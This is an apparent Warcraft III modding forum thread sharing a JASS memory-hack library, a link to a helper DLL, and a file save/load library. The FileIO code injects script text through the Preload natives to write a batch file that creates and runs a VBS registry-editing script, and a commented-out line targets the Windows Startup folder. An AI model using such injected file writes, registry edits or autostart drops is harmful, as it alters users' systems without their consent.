        //call echo("Item 1: 0x70 = "+Int2Hex(GetSomeAddressForAbility(Memory[(Memory[(h+0x1F8)/4]+0x70)/4],Memory[(Memory[(h+0x1F8)/4]+0x74)/4])))
//        call echo("0x21C 0x220 = "+Int2Hex(GetSomeAddress(Memory[(h+0x21C)/4],Memory[(h+0x220)/4])))
//        if Memory[(h+0x19C)/4]!=0 then
//            call echo("0x19C = "+Int2Hex(GetSomeAddress(Memory[(h+0x19C)/4],Memory[(h+0x1a0)/4])))
//        endif
//        if Memory[(h+0x1a8)/4]!=0 then
//            call echo("0x1a8 = "+Int2Hex(GetSomeAddress(Memory[(h+0x1A8)/4],Memory[(h+0x1a8+4)/4])))
//        endif
//        call echo("Amov 0xC 0x10 = "+Int2Hex(GetSomeAddress(Memory[(Memory[h/4+123]+0xC)/4],Memory[(Memory[h/4+123]+0x10)/4])))
//        call CountSpellsOnCooldown(u,0.)
//        call GetUnitHPRegen(u)
//        call GetUnitMPRegen(u)
//        call SetUnitAbiltyAutocast(u,'A0SB',true)
        //call echo("Item: "+Int2Hex(ConvertHandle(UnitItemInSlot(u,0))))
        //call echo("FX: "+Int2Hex(ConvertHandle(AddSpecialEffect("units\\undead\\Acolyte\\Acolyte.mdl",GetUnitX(u),GetUnitY(u)))))
        //call echo("track: "+Int2Hex(ConvertHandle(CreateTrackable("Abilities\\Spells\\Orc\\Shockwave\\ShockwaveMissile.mdl",GetUnitX(u)+200,GetUnitY(u)+200,143.24))))
        //call SetUnitFlags_2(u,GetUnitFlags_2(u)+UNIT_AUTOATTACK_DISABLED)
        //call DisplayTextToPlayer(LocalPlayer, 0.0, 0.0, "[Effect]: " + Int2Hex(ConvertHandle(AddSpecialEffect("Abilities\\Spells\\Orc\\Shockwave\\ShockwaveMissile.mdl",GetUnitX(u),GetUnitY(u)))))
    endloop
    call DestroyGroup(g)
endfunction

function GetSomeAddWrapper takes nothing returns nothing
    local string s=SubString(GetEventPlayerChatString(),4,999)
    local integer k=Hex2Int(s)
    call echo("Add: "+s+" translated as "+I2S(k)+" or "+Int2Hex(k))
    if k==0 then
        set Temp_GetSomeAdd1=0
        set Temp_GetSomeAdd2=0
        return
    endif
    if Temp_GetSomeAdd1==0 then
        set Temp_GetSomeAdd1=k
    else
        set Temp_GetSomeAdd2=k
        call echo("GetSomeAddressForAbility: "+Int2Hex(Temp_GetSomeAdd1)+" & "+Int2Hex(Temp_GetSomeAdd2)+" = "+Int2Hex(GetSomeAddressForAbility(Temp_GetSomeAdd1,Temp_GetSomeAdd2)))
        set Temp_GetSomeAdd1=0
        set Temp_GetSomeAdd2=0
    endif
endfunction

function GetFrameAddressWrapper takes nothing returns nothing
    local string s=SubString(GetEventPlayerChatString(),4,999)
    local integer a=GetFrameItemAddress(s,0)
    local integer b=GetFrameTextAddress(s,0)
    local integer c=GetFrameSkinAddress(s,0)
    if a == 0 then
        call BJDebugMsg("Item frame: "+s+" - BAD!")
    else
        call BJDebugMsg("Item frame: "+s+" - "+Int2Hex(a))
    endif
    if b == 0 then
        call BJDebugMsg("Text frame: "+s+" - BAD!")
    else
        call BJDebugMsg("Text frame: "+s+" - "+Int2Hex(b))
    endif
    if c == 0 then
        call BJDebugMsg("Skin frame: "+s+" - BAD!")
    else
        call BJDebugMsg("Skin frame: "+s+" - "+Int2Hex(c))
    endif

endfunction

function AddSkillFn takes nothing returns nothing
    local string said=SubString(GetEventPlayerChatString(),4,10)
    local group g
    local unit u
    local integer k
    local integer i=S2I(said)
    local integer oldprotection
    local integer aa
    set TempInteger=String2Id(said)
    set g=CreateGroup()
    call GroupEnumUnitsSelected(g,GetTriggerPlayer(),null)
    loop
        set u=FirstOfGroup(g)
        exitwhen u==null
        call UnitAddAbility(u,TempInteger)
        call UnitMakeAbilityPermanent(u,true,TempInteger)
        set aa = GetUnitAbilityForAddresss(ConvertHandle(u),TempInteger)
        if aa > 0 then
            call echo("this abil structure "+Int2Hex ( GetUnitAbilityForAddresss(ConvertHandle(u),TempInteger)))
            call echo("0xC  = "+Int2Hex(GetSomeAddress(Memory[(aa+0xc)/4],Memory[(aa+0x10)/4])))
            call echo("0x24  = "+Int2Hex(GetSomeAddress(Memory[(aa+0x24)/4],Memory[(aa+0x28)/4])))
        endif
        call GroupRemoveUnit(g,u)
    endloop
    call echo("abildata = "+Int2Hex(GetAbilityDataDefAddr(TempInteger))+", ui = "+Int2Hex(GetAbilityUIDefAddr(TempInteger)))
    call echo("unitdata = "+Int2Hex(GetUnitDataDefAddr(TempInteger))+", ui = "+Int2Hex(GetUnitUIDefAddr(TempInteger)))
    call DestroyGroup(g)
    set u=null
    set g=null
endfunction

function GetTestTrigger takes nothing returns nothing
    local trigger t=CreateTrigger()
    call TriggerRegisterPlayerChatEvent(t,Player(0),"-cc",true)
    call TriggerAddAction(t,function revealFn)
    call TriggerRegisterPlayerChatEvent(t,Player(0),"-gs ",false)
    call TriggerAddAction(t,function GetSomeAddWrapper)
    call TriggerRegisterPlayerChatEvent(t,Player(0),"-gf ",false)
    call TriggerAddAction(t,function GetFrameAddressWrapper)
endfunction


function main2 takes nothing returns nothing
    local integer k=0
    loop
        set bj_FORCE_PLAYER[k]=CreateForce()
        call ForceAddPlayer(bj_FORCE_PLAYER[k],Player(k))
        set k=k+1
        exitwhen k==16
    endloop
    //this declaration required to properly start hack, if you gonna use it immediately at loading stage - use "main" function
    call ExecuteFunc("Ascii__onInit")//call or ExecuteFunc doesnt matter
    call ExecuteFunc("HexNumber__onInit")
    call Init()
    call ObjectData__Init()
    call SetMainFuncWork(true)// tells DLL it's main function and allows it to catch textures you'd like to catch and re-edit
    call SetMainFuncWork(false)//put this line at 0.01 timer after prev line been called
endfunction

    private module mhInit
        static method onInit takes nothing returns nothing
            call ExecuteFunc("main2")
        endmethod
    endmodule
    private struct a extends array
        implement mhInit
    endstruct
endlibrary
 
Level 3
Joined
Nov 21, 2016
Messages
18
Awesome stuff! I'm curious, if it possible to get the address of any array.
And I have found that it's not possible to ShiftLeftForBits with shift value = 1 as this cause an endless loop in PowI
 
Level 19
Joined
Dec 12, 2010
Messages
2,069
The DLL for resetting constant values which been changed by your map (AddOffsetToRestore)

http://d1stats.ru/files/Allstars/WarcraftMemHackHelper.dll

Usage:
JASS:
// For example call every 3 seconds with 5 sec value
function UpdateRestoreTimer takes  integer sec returns nothing
    if pUpdateRestoreTimer == 0 then
        set pUpdateRestoreTimer =  GetModuleProcAddress(EXTRADLLNAME, "UpdateGameTimer" )
    endif
    if pUpdateRestoreTimer != 0 then
        call CallStdcallWith1Args(pUpdateRestoreTimer,sec )
    endif
endfunction

Add periodical timer which will call this func ever 3 seconds
If DLL stop getting calls - it counts game as finished and revert changes you passed to it. simple as is
 
This might be useful to some people. It's what I'm using in my codeless save and load demo.

It allows you to toggle between the Preload natives or Memory API for writing data about your map to the disk.

JASS:
library GameDataWrapper uses FileIO
  
    globals
        // It's suggested to keep the local directory (./) so it can work on
        // all machines without admin rights.
        private constant string MEMHAX_FILENAME = "./MapData.ini"
    endglobals
  
    private constant function GetMapName takes nothing returns string
        return "Just another Warcraft III map"
    endfunction
  
    function MemoryHacksEnabled takes nothing returns boolean
        static if (LIBRARY_MemoryHacks) then
            return true
        else
            return false
        endif
    endfunction
  
    struct GameData
  
        static method write takes string skey, string value returns nothing

            static if (LIBRARY_MemoryHacks) then
                call WriteStringToFile(MEMHAX_FILENAME, GetMapName(), skey, value)
            else
                local File f = File.open(GetMapName(), skey, File.Flag.WRITE)
                call f.write(value)
                call f.close()
            endif

        endmethod

        static method read takes string skey returns string

            static if (LIBRARY_MemoryHacks) then
                return ReadStringFromFile(MEMHAX_FILENAME, GetMapName(), skey, "")
            else
                local File f = File.open(GetMapName(), skey, File.Flag.READ)
                local string contents = f.read()
                call f.close()
                return contents
            endif

        endmethod
      
        static method delete takes string skey returns nothing
            call write(skey, "")
        endmethod

    endstruct

endlibrary

JASS:
// few modifications by triggerhappy (can be swapped with original version as well)

library FileIO /* v2.0.0.1
*************************************************************************************
*
*   Used read/write data to/from files
*
************************************************************************************
*
*   struct File extends array
*
*       Description
*       -----------------------
*
*           This is used to read data from files and write data to files
*
*       Creators/Destructors
*       -----------------------
*
*           static method open takes string mapName, string fileName, integer flag returns File
*               -   Used to open a file. Pass read/write flag in to open file for reading or writing.
*
*           method close takes nothing returns nothing
*
*       Fields
*       -----------------------
*
*           readonly boolean enabled
*               -   This is a local value. It is true if the player can read files, false if the player can't read files.
*           readonly string localFileScriptName
*               -   This contains the name and path to a bat file that is automatically created
*               -   on the player's computer in the event that they can't read files. Output this filename
*               -   and tell them to run the script so that they can read files.
*
*           integer Flag.READ
*           integer Flag.WRITE
*               -   These are the read/write flags. Pass these into File.open
*
*       Methods
*       -----------------------
*
*           method read takes nothing returns string
*               -    Reads next line from file. Returns null when there are no more lines.
*
*           method write takes string data returns nothing
*               -   Writes line to file. The only limit is wc3 max string size.
*
************************************************************************************/
    //Tests if the player can read files
    private module LocalFileTestInit
        private static method onInit takes nothing returns nothing
            call TimerStart(CreateTimer(),0,false,function thistype.init)
        endmethod
    endmodule
    private struct LocalFileTest extends array
        private static constant string FLAG_FOLDER = "Flag"
        private static constant string FLAG_FILE = "flag"
   
        readonly static boolean success = false
   
        private static method testForLocalEnabled takes nothing returns nothing
            local string playerName = GetPlayerName(GetLocalPlayer())
       
            call Preloader(FLAG_FOLDER + "\\" + FLAG_FILE)
       
            set success = GetPlayerName(GetLocalPlayer()) != playerName
       
            call SetPlayerName(GetLocalPlayer(), playerName)
        endmethod
   
        private static method writeLocalFileTest takes nothing returns nothing
            call PreloadGenClear()
            call PreloadGenStart()
            call Preload("\")\r\n\tcall SetPlayerName(GetLocalPlayer(), \"FLAG TEST LOCAL CHECK\")\r\n//")
            call Preload("\" )\r\nendfunction\r\nfunction AAA takes nothing returns nothing \r\n//")
            call PreloadGenEnd(FLAG_FOLDER + "\\" + FLAG_FILE)
        endmethod
   
        private static method writeEnableLocalRegistry takes string fname returns nothing
            call PreloadGenClear()
            call PreloadGenStart()
            call Preload("\")\r\necho Set Reg = CreateObject(\"wscript.shell\") > download.vbs\r\n;")
            call Preload("\")\r\necho f = \"HKEY_CURRENT_USER\\Software\\Blizzard Entertainment\\Warcraft III\\Allow Local Files\" >> download.vbs\r\n;")
            call Preload("\")\r\necho f = Replace(f,\"\\\",Chr(92)) >> download.vbs\r\n;") //"
            call Preload("\")\r\necho Reg.RegWrite f, 1, \"REG_DWORD\" >> download.vbs\r\n;")
            call Preload("\")\r\nstart download.vbs\r\n;")
            call PreloadGenEnd(fname)
        endmethod
   
        private static method init takes nothing returns nothing
            call DestroyTimer(GetExpiredTimer())
   
            call writeLocalFileTest()
            call testForLocalEnabled()
       
            if (not success) then
                call writeEnableLocalRegistry("!! AllowLocalFiles\\" + File.localFileScriptName)
                call writeEnableLocalRegistry("C:\\!! AllowLocalFiles\\" + File.localFileScriptName)
                //call writeEnableLocalRegistry("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + File.localFileScriptName)
            endif
        endmethod
 
        implement LocalFileTestInit
    endstruct
 
    private struct FlagG extends array
        static constant integer READ = 1
        static constant integer WRITE = 2
    endstruct
    private module FileInit
        private static method onInit takes nothing returns nothing
            call init()
        endmethod
    endmodule
    struct File extends array
        private static constant string SAVE_GAME_FOLDER = "GameData"    //don't change this for the player's convenience
        private static constant integer MAX_LINE_LENGTH = 209           //max amount of data per line
        private static hashtable stringTable                            //stores lines from file, 16 lines per file
 
        private static integer instanceCount = 0
        private static integer array recycler
   
        private string mapName
        private string fileName
   
        private string data                                             //data buffer
   
        private integer fileIndex                                       //current file index, -2147483648 to 2147483647
        private integer dataIndex                                       //current data index for file, 0-15
   
        private integer flag                                            //read/write flag
   
        private static string array extra0                              //extra 0s on string lengths to make digits = 4
   
        static method operator Flag takes nothing returns FlagG
            return 0
        endmethod
 
        static method operator enabled takes nothing returns boolean
            return LocalFileTest.success
        endmethod
        static method operator localFileScriptName takes nothing returns string
            return "AllowLocalFiles.bat"
        endmethod
        static method operator localFileScriptNameFull takes nothing returns string
            return "C:\\!! AllowLocalFiles\\" + localFileScriptName
        endmethod
   
        static method open takes string mapName, string fileName, integer flag returns File
            local thistype this = recycler[0]
       
            if (0 == this) then
                set this = instanceCount + 1
                set instanceCount = this
            else
                set recycler[0] = recycler[this]
            endif
       
            set fileIndex = -2147483648
       
            set this.mapName = mapName
            set this.fileName = fileName
       
            set this.flag = flag
       
            if (flag == Flag.READ) then
                //if reading, go to previous file index so that the reader can auto load up the file
                set fileIndex = fileIndex - 1
                set dataIndex = 16
            elseif (flag == Flag.WRITE) then
                //open file for writing
                call PreloadGenClear()
                call PreloadGenStart()
            endif
       
            return this
        endmethod
   
        //loads file and returns lines out of file
        private static string array pname
        private method loadline takes nothing returns nothing
            local integer i
       
            //if there are no more lines in the file, load next file
            if (16 == dataIndex) then
                set dataIndex = 0
                set fileIndex = fileIndex + 1
           
                //store current player names
                set i = 15
                loop
                    set pname[i] = GetPlayerName(Player(i))
           
                    exitwhen 0 == i
                    set i = i - 1
                endloop
           
                //load file (sets the player names to lines in file)
                call Preloader(SAVE_GAME_FOLDER + "\\" + mapName + "\\f" + I2S(fileIndex) + fileName)
           
                //flush file buffer
                call FlushChildHashtable(stringTable, this)
           
                //load lines from file to file buffer and return player names to normal
                set i = 15
                loop
                    if (pname[i] != GetPlayerName(Player(i))) then
                        call SaveStr(stringTable, this, i, SubString(GetPlayerName(Player(i)), 1, StringLength(GetPlayerName(Player(i)))))
                        call SetPlayerName(Player(i), pname[i])
                    endif
           
                    exitwhen 0 == i
                    set i = i - 1
                endloop
            endif
       
            //add next line of file to data
            set this.data = this.data + LoadStr(stringTable, this, dataIndex)
            set dataIndex = dataIndex + 1
        endmethod
   
        method read takes nothing returns string
            local integer length
            local string data = ""
       
            debug if (flag != Flag.READ) then
                debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60000,"FILE IO ERROR: ATTEMPT TO READ TO FILE OPEN FOR WRITING")
                debug return null
            debug endif
       
            //if there is no data at the moment, get next line from file
            if (StringLength(this.data) < 4) then
                call loadline()
           
                //if there is no next line, return null
                if (StringLength(this.data) < 4) then
                    return null
                endif
            endif
       
            //get the length of the data (# of characters that make it up)
            set length = S2I(SubString(this.data, 0, 4))
            set this.data = SubString(this.data, 4, StringLength(this.data))
       
            loop
                if (length > StringLength(this.data)) then
                    //if the length is greater than the data currently in the buffer, dump the
                    //entire buffer to the data being returned and get the next line
                    set length = length - StringLength(this.data)
                    set data = data + this.data
                    set this.data = ""
                    call loadline()
                else
                    //if the length is less than the data in the buffer, dump that data
                    //from the buffer
                    set data = data + SubString(this.data, 0, length)
                    set this.data = SubString(this.data, length, StringLength(this.data))
                    set length = 0
               
                    return data
                endif
            endloop
       
            return null
        endmethod
   
        method write takes string data returns nothing
            local integer length = StringLength(data)
            local integer digits = 0
            local boolean done = false
       
            debug if (flag != Flag.WRITE) then
                debug call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,60000,"FILE IO ERROR: ATTEMPT TO WRITE TO FILE OPEN FOR READING")
                debug return
            debug endif
       
            //first, retrieve the # of digits for the length
            loop
                set digits = digits + 1
                set length = length/10
                exitwhen 0 == length
            endloop
       
            //add the extra digits to and length to buffer
            set this.data = this.data + extra0[digits] + I2S(StringLength(data))
       
            loop
                if (StringLength(data) > 400) then
                    //if the length of the data is greater than 400, throw first 400 chars into buffer
                    set this.data = this.data + SubString(data, 0, 400)
                    set data = SubString(data, 400, StringLength(data))
                else
                    //if the length isn't greater than 400, throw it all into the buffer
                    set this.data = this.data + data
                    set data = ""
                    set done = true
                endif
           
                loop
                    //throw the data into file in sets of MAX_LINE_LENGTH chars until there is not
                    //enough data in the buffer to completely fill a line
                    exitwhen StringLength(this.data) < MAX_LINE_LENGTH
                    call Preload("\")\r\n\tcall SetPlayerName(Player("+I2S(dataIndex)+"), \" "+SubString(this.data, 0, MAX_LINE_LENGTH)+"\")\r\n//")
                    set this.data = SubString(this.data, MAX_LINE_LENGTH, StringLength(this.data))
               
                    set dataIndex = dataIndex + 1
                    if (dataIndex == 16) then
                        //start a new file
                   
                        set dataIndex = 0
                   
                        call Preload( "\" )\r\nendfunction\r\nfunction AAA takes nothing returns nothing \r\n//")
                        call PreloadGenEnd(SAVE_GAME_FOLDER + "\\" + mapName + "\\f" + I2S(fileIndex) + fileName)
                   
                        set fileIndex = fileIndex + 1
                        call PreloadGenClear()
                        call PreloadGenStart()
                    endif
                endloop
           
                exitwhen done
            endloop
        endmethod
   
        method close takes nothing returns nothing
            if (flag == Flag.READ) then
                //flush the read buffer
                call FlushChildHashtable(stringTable, this)
            elseif (flag == Flag.WRITE) then
                //write remaining of data to file and close it out
                call Preload("\")\r\n\tcall SetPlayerName(Player("+I2S(dataIndex)+"), \" "+data+"\")\r\n//")
                call Preload( "\" )\r\nendfunction\r\nfunction AAA takes nothing returns nothing \r\n//")
                call PreloadGenEnd(SAVE_GAME_FOLDER + "\\" + mapName + "\\f" + I2S(fileIndex) + fileName)
            endif
       
            //deallocate and reset
            set recycler[this] = recycler[0]
            set recycler[0] = this
       
            set dataIndex = 0
            set data = ""
        endmethod
   
        private static method init takes nothing returns nothing
            set extra0[1] = "000"
            set extra0[2] = "00"
            set extra0[3] = "0"
            set extra0[4] = ""
       
            set stringTable = InitHashtable()
        endmethod
   
        implement FileInit
    endstruct
endlibrary


JASS:
// save hero
call GameData.write("savecode", "ad3DA3axG8")

// store local stats
call GameData.write("hoursplayed", R2S(S2R(GameData.read("hoursplayed") + timeplayed))
call GameData.write("kills", I2S(totalkills))

// load hero
call LoadHeroFromString(GameData.read("savecode"))
 
Last edited:
we talked about this before, he didnt supported but didnt denied it either. anyway, eng community have to have its own hub with no limits like "blizz dont want to"

From the looks of it, mapmakers can still do most of what you have revealed/posted without using a memory hacking program and methods. It really is interesting and would be nice if Blizzard didn't fully remove it and support some of it, people should really start suggesting as soon as possible to Blizzard to just make it so that WC3 can not read/write outside of its own directory. If enough suggest this then maybe this could continue forward without being forgotten like the return bug was, if you haven't noticed, people don't use that anymore and rarely play any of the maps that had it due to the ability to only play with people you know and/or are friends with. There is two big reasons that have helped WC3 to survive this long for the English community and that is the two major hosting sites known as MakeMeHost/MMH as well EnterpriseGaming/ENT.

I'm not saying this shouldn't be used, just in its current state it doesn't seem to be that useful however less code is always a plus if it does the same thing.

Also if you don't stay up to date with the latest patches you will split the player base by quite a lot like the 8MB bypass has already.

Is it really this big? I am quite certain that pretty soon WC3 will be patched. I wouldn't want to support some short term hack. Make some threads and share your stuff for as long as it lasts.

I know it's ironic since this site is based on an ancient game, but still.

The return bug should of been a short term hack as well but somehow it lasted for years.
 
Last edited:
Top